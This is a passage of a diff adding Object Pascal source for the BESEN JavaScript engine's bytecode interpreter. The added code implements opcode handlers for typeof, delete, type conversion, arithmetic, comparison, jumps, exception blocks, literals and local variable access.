bv:=TBESENEnvironmentRecord(up^.ReferenceBase.EnvRec).DeleteIndex(up^.ReferenceIndex,up^.ReferenceID); + end; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=bv; + end; + else begin + if up^.ReferenceIsStrict then begin + BESENThrowSyntaxError('"delete" not allowed here'); + end else begin + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=true; + end; + end; + end; + end; + bvtLOCAL:begin + if TBESEN(Instance).IsStrict then begin + BESENThrowSyntaxError('"delete" not allowed here'); + end; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=Context.VariableEnvironment.EnvironmentRecord.DeleteIndex(up^.LocalIndex,-1); + end; + else begin + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=true; + end; + end; +end; + +procedure TBESENCodeContext.OpTYPEOF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType=bvtREFERENCE then begin + if not (up^.ReferenceBase.ValueType in [brbvtBOOLEAN,brbvtNUMBER,brbvtSTRING,brbvtOBJECT,brbvtENVREC]) then begin + Temp.ValueType:=bvtUNDEFINED; + end else begin + GetValue(up^,Temp); + end; + end else if up^.ValueType=bvtLOCAL then begin + Context.VariableEnvironment.EnvironmentRecord.GetIndexValue(up^.LocalIndex,-1,TBESEN(Instance).IsStrict,Temp); + end else begin + BESENCopyValueProcs[up^.ValueType](Temp,up^); + end; + vp^.ValueType:=bvtSTRING; + case Temp.ValueType of + bvtUNDEFINED:begin + vp^.Str:='undefined'; + end; + bvtNULL:begin + vp^.Str:='object'; + end; + bvtBOOLEAN:begin + vp^.Str:='boolean'; + end; + bvtNUMBER:begin + vp^.Str:='number'; + end; + bvtSTRING:begin + vp^.Str:='string'; + end; + bvtOBJECT:begin + if assigned(Temp.Obj) and TBESENObject(Temp.Obj).HasCall then begin + vp^.Str:='function'; + end else begin + vp^.Str:='object'; + end; + end; + else begin + vp^.Str:='unknown'; + end; + end; +end; + +procedure TBESENCodeContext.OpTOOBJECT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType<>bvtOBJECT then begin + TBESEN(Instance).ToObjectValue(up^,vp^); + end else begin + BESENCopyValue(vp^,up^); + end; +end; + +procedure TBESENCodeContext.OpTONUMBER(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType<>bvtNUMBER then begin + TBESEN(Instance).ToNumberValue(up^,vp^); + end else begin + BESENCopyValue(vp^,up^); + end; +end; + +procedure TBESENCodeContext.OpTOBOOLEAN(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType<>bvtBOOLEAN then begin + TBESEN(Instance).ToBooleanValue(up^,vp^); + end else begin + BESENCopyValue(vp^,up^); + end; +end; + +procedure TBESENCodeContext.OpTOSTRING(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType<>bvtSTRING then begin + TBESEN(Instance).ToStringValue(up^,vp^); + end else begin + BESENCopyValue(vp^,up^); + end; +end; + +procedure TBESENCodeContext.OpTOPRIMITIVE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + if up^.ValueType=bvtOBJECT then begin + TBESEN(Instance).ToPrimitiveValue(up^,BESENEmptyValue,vp^); + end else begin + BESENCopyValue(vp^,up^); + end; +end; + +procedure TBESENCodeContext.OpNEG(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; +{$ifdef fpc} + PBESENQWORD(@r^.Num)^:=PBESENQWORD(@RegisterValues[Operands^[1]].Num)^ xor qword($8000000000000000); +{$else} + PBESENINT64(@r^.Num)^:=PBESENINT64(@RegisterValues[Operands^[1]].Num)^ xor int64($8000000000000000); +{$endif} +end; + +procedure TBESENCodeContext.OpINV(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(not TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]])); +end; + +procedure TBESENCodeContext.OpNOT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=not RegisterValues[Operands^[1]].Bool; +end; + +procedure TBESENCodeContext.OpMUL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num*RegisterValues[Operands^[2]].Num; +end; + +procedure TBESENCodeContext.OpDIV(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num/RegisterValues[Operands^[2]].Num; +end; + +procedure TBESENCodeContext.OpMOD(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=BESENModulo(RegisterValues[Operands^[1]].Num,RegisterValues[Operands^[2]].Num); +end; + +procedure TBESENCodeContext.OpADD(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a,b:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + if (a^.ValueType=bvtSTRING) or (b^.ValueType=bvtSTRING) then begin + if a^.ValueType<>bvtSTRING then begin + TBESEN(Instance).ToStringValue(a^,va); + a:=@va; + end; + if b^.ValueType<>bvtSTRING then begin + TBESEN(Instance).ToStringValue(b^,vb); + b:=@vb; + end; + r^.ValueType:=bvtSTRING; + r^.Str:=a^.Str+b^.Str; + end else begin + if a^.ValueType<>bvtNUMBER then begin + TBESEN(Instance).ToNumberValue(a^,va); + a:=@va; + end; + if b^.ValueType<>bvtNUMBER then begin + TBESEN(Instance).ToNumberValue(b^,vb); + b:=@vb; + end; + r^.ValueType:=bvtNUMBER; + r^.Num:=a^.Num+b^.Num; + end; +end; + +procedure TBESENCodeContext.OpADDNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num+RegisterValues[Operands^[2]].Num; +end; + +procedure TBESENCodeContext.OpSUB(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num-RegisterValues[Operands^[2]].Num; +end; + +procedure TBESENCodeContext.OpSHL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]]) shl (TBESEN(Instance).ToUInt32(RegisterValues[Operands^[2]]) and 31)); +end; + +procedure TBESENCodeContext.OpSHR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(sar(TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]]),TBESEN(Instance).ToUInt32(RegisterValues[Operands^[2]]) and 31)); +end; + +procedure TBESENCodeContext.OpUSHR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENUINT32(TBESEN(Instance).ToUInt32(RegisterValues[Operands^[1]]) shr (TBESEN(Instance).ToUInt32(RegisterValues[Operands^[2]]) and 31)); +end; + +procedure TBESENCodeContext.OpLT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + AbstractRelational(@RegisterValues[Operands^[1]],@RegisterValues[Operands^[2]],r^.Bool); +end; + +procedure TBESENCodeContext.OpGT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + AbstractRelational(@RegisterValues[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool); +end; + +procedure TBESENCodeContext.OpLE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + if AbstractRelational(@RegisterValues[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +end; + +procedure TBESENCodeContext.OpGE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + if AbstractRelational(@RegisterValues[Operands^[1]],@RegisterValues[Operands^[2]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +end; + +procedure TBESENCodeContext.OpINSTANCEOF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a,b:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + r^.ValueType:=bvtBOOLEAN; + if b^.ValueType<>bvtOBJECT then begin + BESENThrowTypeError('Not a object'); + end else begin + r^.Bool:=TBESEN(Instance).ObjectInstanceOf(a^,TBESENObject(b^.Obj)); + end; +end; + +procedure TBESENCodeContext.OpIN(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a,b:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + r^.ValueType:=bvtBOOLEAN; + if b^.ValueType<>bvtOBJECT then begin + BESENThrowTypeError('Not a object'); + end else begin + r^.Bool:=TBESENObject(b^.Obj).HasPropertyEx(TBESEN(Instance).ToStr(a^),Descriptor); + end; +end; + +procedure TBESENCodeContext.OpEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=TBESEN(Instance).EqualityExpressionEquals(RegisterValues[Operands^[1]],RegisterValues[Operands^[2]]); +end; + +procedure TBESENCodeContext.OpSEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=BESENEqualityExpressionStrictEquals(RegisterValues[Operands^[1]],RegisterValues[Operands^[2]]); +end; + +procedure TBESENCodeContext.OpBAND(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]]) and TBESEN(Instance).ToInt32(RegisterValues[Operands^[2]])); +end; + +procedure TBESENCodeContext.OpBXOR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]]) xor TBESEN(Instance).ToInt32(RegisterValues[Operands^[2]])); +end; + +procedure TBESENCodeContext.OpBOR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(TBESEN(Instance).ToInt32(RegisterValues[Operands^[1]]) or TBESEN(Instance).ToInt32(RegisterValues[Operands^[2]])); +end; + +procedure TBESENCodeContext.OpSENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; + Obj:TBESENObject; +begin + vp:=@RegisterValues[Operands^[0]]; + case vp^.ValueType of + bvtNULL,bvtUNDEFINED:begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + Obj:=TBESEN(Instance).ObjectEmpty; + end else begin + Obj:=nil; + end; + end; + bvtOBJECT:begin + Obj:=TBESENObject(vp^.Obj); + end; + else begin + Obj:=nil; + end; + end; + if assigned(Obj) then begin + Block:=@Blocks[BlockLevel]; + Block^.BlockType:=bccbtENUM; + Block^.PropertyEnumerator:=Obj.Enumerator(false,false); + Block^.PropertyEnumerator.Reset; + Block^.OldPropertyEnumerator:=PropertyEnumerator; + PropertyEnumerator:=Block^.PropertyEnumerator; + Block^.OldEnumBlock:=EnumBlock; + EnumBlock:=Block; + inc(BlockLevel); + end else begin + BESENThrowTypeError('Not an object'); + end; +end; + +procedure TBESENCodeContext.OpSWITH(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + Block:=@Blocks[BlockLevel]; + Block^.BlockType:=bccbtWITH; + Block^.LexicalEnvironment:=TBESEN(Instance).NewObjectEnvironment(TBESENObject(vp^.Obj),Context.LexicalEnvironment,TBESEN(Instance).IsStrict,Code.HasMaybeDirectEval); + TBESEN(Instance).GarbageCollector.Add(Block^.LexicalEnvironment); + Context.LexicalEnvironment:=Block^.LexicalEnvironment; + TBESENObjectEnvironmentRecord(Block^.LexicalEnvironment.EnvironmentRecord).ProvideThis:=true; + Block^.LexicalEnvironment.EnvironmentRecord.UpdateImplicitThisValue; + inc(BlockLevel); +end; + +procedure TBESENCodeContext.OpSCATCH(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Block:=@Blocks[BlockLevel-1]; + Block^.BlockType:=bccbtCATCH2; + Block^.LexicalEnvironment:=TBESEN(Instance).NewDeclarativeEnvironment(Context.LexicalEnvironment,TBESEN(Instance).IsStrict,Code.HasMaybeDirectEval); + TBESEN(Instance).GarbageCollector.Add(Block^.LexicalEnvironment); + Context.LexicalEnvironment:=Block^.LexicalEnvironment; + Block^.LexicalEnvironment.EnvironmentRecord.CreateMutableBinding(Block^.Ident,false); + Block^.LexicalEnvironment.EnvironmentRecord.SetMutableBindingEx(Block^.Ident,Block^.Value,false,Descriptor,Descriptor2,AnotherTemp,BESENHashKey(Block^.Ident)); + Block^.Ident:=''; +end; + +procedure TBESENCodeContext.OpENDF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + dec(BlockLevel); + Block:=@Blocks[BlockLevel]; + if Block^.Raised or (Block^.Resume>=longword(Code.ByteCodeLen)) then begin + BlockRunning:=false; + end else begin + PC:=Block^.Resume; + end; +end; + +procedure TBESENCodeContext.OpJMP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + PC:=Operands^[0]; +end; + +procedure TBESENCodeContext.OpJZ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + if RegisterValues[Operands^[1]].Bool then begin + PC:=Operands^[0]; + end; +end; + +procedure TBESENCodeContext.OpJNZ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + if not RegisterValues[Operands^[1]].Bool then begin + PC:=Operands^[0]; + end; +end; + +procedure TBESENCodeContext.OpJNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[1]]; + if (vp^.ValueType in [bvtUNDEFINED,bvtNULL]) or ((vp^.ValueType=bvtOBJECT) and not assigned(vp^.Obj)) then begin + PC:=Operands^[0]; + end; +end; + +procedure TBESENCodeContext.OpLOOPENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + if PropertyEnumerator.GetNext(Str) then begin + vp:=@RegisterValues[Operands^[1]]; + vp^.ValueType:=bvtSTRING; + vp^.Str:=Str; + PC:=Operands^[0]; + end; +end; + +procedure TBESENCodeContext.OpSTRYC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Block:=@Blocks[BlockLevel]; + inc(BlockLevel); + Block^.BlockType:=bccbtCATCH; + Block^.Handler:=Operands^[0]; + Block^.Ident:=RegisterValues[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpSTRYF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Block:=@Blocks[BlockLevel]; + inc(BlockLevel); + Block^.BlockType:=bccbtFINALLY; + Block^.Handler:=Operands^[0]; +end; + +procedure TBESENCodeContext.OpLITERAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],Code.Literals[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpLITERALUNDEF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + RegisterValues[Operands^[0]].ValueType:=bvtUNDEFINED; +end; + +procedure TBESENCodeContext.OpLITERALNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + RegisterValues[Operands^[0]].ValueType:=bvtNULL; +end; + +procedure TBESENCodeContext.OpLITERALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=Operands^[1]<>0; +end; + +procedure TBESENCodeContext.OpLITERALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtNUMBER; + vp^.Num:=Code.Literals[Operands^[1]].Num; +end; + +procedure TBESENCodeContext.OpLITERALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtSTRING; + vp^.Str:=Code.Literals[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpLITERALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=Code.Literals[Operands^[1]].Obj; +end; + +procedure TBESENCodeContext.OpFUNC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; + Arg:TBESENINT32; +begin + vp:=@RegisterValues[Operands^[0]]; + Arg:=Operands^[1]; + if assigned(Code.FunctionLiteralContainers[Arg].Literal.Name) and (length(Code.FunctionLiteralContainers[Arg].Literal.Name.Name)>0) then begin + LexicalEnvironment:=TBESEN(Instance).NewDeclarativeEnvironment(Context.LexicalEnvironment,TBESEN(Instance).IsStrict,Code.HasMaybeDirectEval); + OldLexicalEnvironment:=Context.LexicalEnvironment; + Context.LexicalEnvironment:=LexicalEnvironment; + TBESEN(Instance).GarbageCollector.Add(LexicalEnvironment); + try + vp^:=BESENObjectValue(TBESEN(Instance).MakeFunction(Code.FunctionLiteralContainers[Arg].Literal,Code.FunctionLiteralContainers[Arg].Literal.Name.Name,Context.LexicalEnvironment)); + LexicalEnvironment.EnvironmentRecord.CreateImmutableBinding(TBESENObjectDeclaredFunction(vp^.Obj).ObjectName); + LexicalEnvironment.EnvironmentRecord.InitializeImmutableBinding(TBESENObjectDeclaredFunction(vp^.Obj).ObjectName,vp^); + finally + Context.LexicalEnvironment:=OldLexicalEnvironment; + end; + end else begin + if assigned(Code.FunctionLiteralContainers[Arg].Literal.Name) then begin + vp^:=BESENObjectValue(TBESEN(Instance).MakeFunction(Code.FunctionLiteralContainers[Arg].Literal,Code.FunctionLiteralContainers[Arg].Literal.Name.Name,Context.LexicalEnvironment)); + end else begin + vp^:=BESENObjectValue(TBESEN(Instance).MakeFunction(Code.FunctionLiteralContainers[Arg].Literal,'',Context.LexicalEnvironment)); + end; + end; +end; + +procedure TBESENCodeContext.OpLINE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + TBESEN(Instance).LineNumber:=Code.Locations[Operands^[0]].LineNumber; +end; + +procedure TBESENCodeContext.OpGC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + TBESEN(Instance).GarbageCollector.TriggerCollect; +end; + +procedure TBESENCodeContext.OpSTRICT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + TBESEN(Instance).IsStrict:=Operands^[0]<>0; +end; + +procedure TBESENCodeContext.OpSTRICTCHECKREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up:PBESENValue; + der:TBESENDeclarativeEnvironmentRecord; + procedure ThrowIt(const s:TBESENSTRING); + begin + BESENThrowSyntaxError('"'+s+'" not allowed here'); + end; + procedure Check(const s:TBESENSTRING); + begin + if (s='eval') or (s='arguments') then begin + ThrowIt(s); + end; + end; +begin + up:=@RegisterValues[Operands^[0]]; + if up^.ReferenceIsStrict then begin + case up^.ValueType of + bvtREFERENCE:begin + case up^.ReferenceBase.ValueType of + brbvtENVREC:begin + if up^.ReferenceID<0 then begin + if up^.ReferenceIndex<0 then begin + Check(up^.Str); + end; + end else begin + if up^.ReferenceBase.EnvRec is TBESENDeclarativeEnvironmentRecord then begin + der:=TBESENDeclarativeEnvironmentRecord(up^.ReferenceBase.EnvRec); + if (up^.ReferenceIndex>=0) and (up^.ReferenceIndex<der.HashIndexNames.Count) then begin + Check(der.HashIndexNames.FList[up^.ReferenceIndex]); + end; + end else begin + if (up^.ReferenceIndex>=0) and (up^.ReferenceIndex<=TBESEN(Instance).KeyIDManager.List.Count) then begin + Check(TBESEN(Instance).KeyIDManager.List.FList[up^.ReferenceID]); + end; + end; + end; + end; + end; + end; + bvtLOCAL:begin + der:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord); + if (up^.LocalIndex>=0) and (up^.LocalIndex<der.HashIndexNames.Count) then begin + Check(der.HashIndexNames.FList[up^.LocalIndex]); + end; + end; + end; + end; +end; + +procedure TBESENCodeContext.OpDEBUGGER(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Trace(bttDEBUGGER); +end; + +procedure TBESENCodeContext.OpCHECKOBJECTCOERCIBLE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCheckObjectCoercible(RegisterValues[Operands^[0]]); +end; + +procedure TBESENCodeContext.OpPUTOBJVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var ObjReg,StrReg,ValReg:PBESENValue; +begin + ObjReg:=@RegisterValues[Operands^[0]]; + StrReg:=@RegisterValues[Operands^[1]]; + ValReg:=@RegisterValues[Operands^[2]]; + TBESENObject(ObjReg^.Obj).DefineOwnPropertyEx(StrReg^.Str,BESENDataPropertyDescriptor(ValReg^,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false,Descriptor,BESENHashKey(StrReg^.Str)); +end; + +procedure TBESENCodeContext.OpPUTOBJGET(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var ObjReg,StrReg,ValReg:PBESENValue; +begin + ObjReg:=@RegisterValues[Operands^[0]]; + StrReg:=@RegisterValues[Operands^[1]]; + ValReg:=@RegisterValues[Operands^[2]]; + TBESENObject(ObjReg^.Obj).DefineOwnPropertyEx(StrReg^.Str,BESENAccessorPropertyDescriptor(TBESENObject(ValReg^.Obj),nil,[bopaENUMERABLE,bopaCONFIGURABLE]),false,Descriptor,BESENHashKey(StrReg^.Str)); +end; + +procedure TBESENCodeContext.OpPUTOBJSET(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var ObjReg,StrReg,ValReg:PBESENValue; +begin + ObjReg:=@RegisterValues[Operands^[0]]; + StrReg:=@RegisterValues[Operands^[1]]; + ValReg:=@RegisterValues[Operands^[2]]; + TBESENObject(ObjReg^.Obj).DefineOwnPropertyEx(StrReg^.Str,BESENAccessorPropertyDescriptor(nil,TBESENObject(ValReg^.Obj),[bopaENUMERABLE,bopaCONFIGURABLE]),false,Descriptor,BESENHashKey(StrReg^.Str)); +end; + +procedure TBESENCodeContext.OpINC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num+1; +end; + +procedure TBESENCodeContext.OpDEC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num-1; +end; + +procedure TBESENCodeContext.OpCOPYBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool; +end; + +procedure TBESENCodeContext.OpCOPYNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=RegisterValues[Operands^[1]].Num; +end; + +procedure TBESENCodeContext.OpCOPYSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtSTRING; + r^.Str:=RegisterValues[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpCOPYOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtOBJECT; + r^.Obj:=RegisterValues[Operands^[1]].Obj; +end; + +procedure TBESENCodeContext.OpCOPYREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + r^.ValueType:=bvtREFERENCE; + BESENCopyReferenceBaseValue(r^.ReferenceBase,a^.ReferenceBase); + r^.Str:=a^.Str; + r^.ReferenceIsStrict:=a^.ReferenceIsStrict; + r^.ReferenceHash:=a^.ReferenceHash; + r^.ReferenceIndex:=a^.ReferenceIndex; + r^.ReferenceID:=a^.ReferenceID; +end; + +procedure TBESENCodeContext.OpCOPYLOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtLOCAL; + r^.LocalIndex:=RegisterValues[Operands^[1]].LocalIndex; +end; + +procedure TBESENCodeContext.OpGETVALUEREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + GetRefProcs[RegisterValues[Operands^[1]].ReferenceBase.ValueType](RegisterValues[Operands^[1]],RegisterValues[Operands^[0]]); +end; + +procedure TBESENCodeContext.OpPUTVALUEREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + PutRefProcs[RegisterValues[Operands^[0]].ReferenceBase.ValueType](RegisterValues[Operands^[0]],RegisterValues[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpGETVALUELOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Context.VariableEnvironment.EnvironmentRecord.GetIndexValue(RegisterValues[Operands^[1]].LocalIndex,-1,TBESEN(Instance).IsStrict,RegisterValues[Operands^[0]]); +end; + +procedure TBESENCodeContext.OpPUTVALUELOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Context.VariableEnvironment.EnvironmentRecord.SetIndexValue(RegisterValues[Operands^[0]].LocalIndex,-1,RegisterValues[Operands^[1]],TBESEN(Instance).IsStrict); +end; + +procedure TBESENCodeContext.OpGETVALUELOCALFAST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[1]].LocalIndex]^); +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALFAST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + 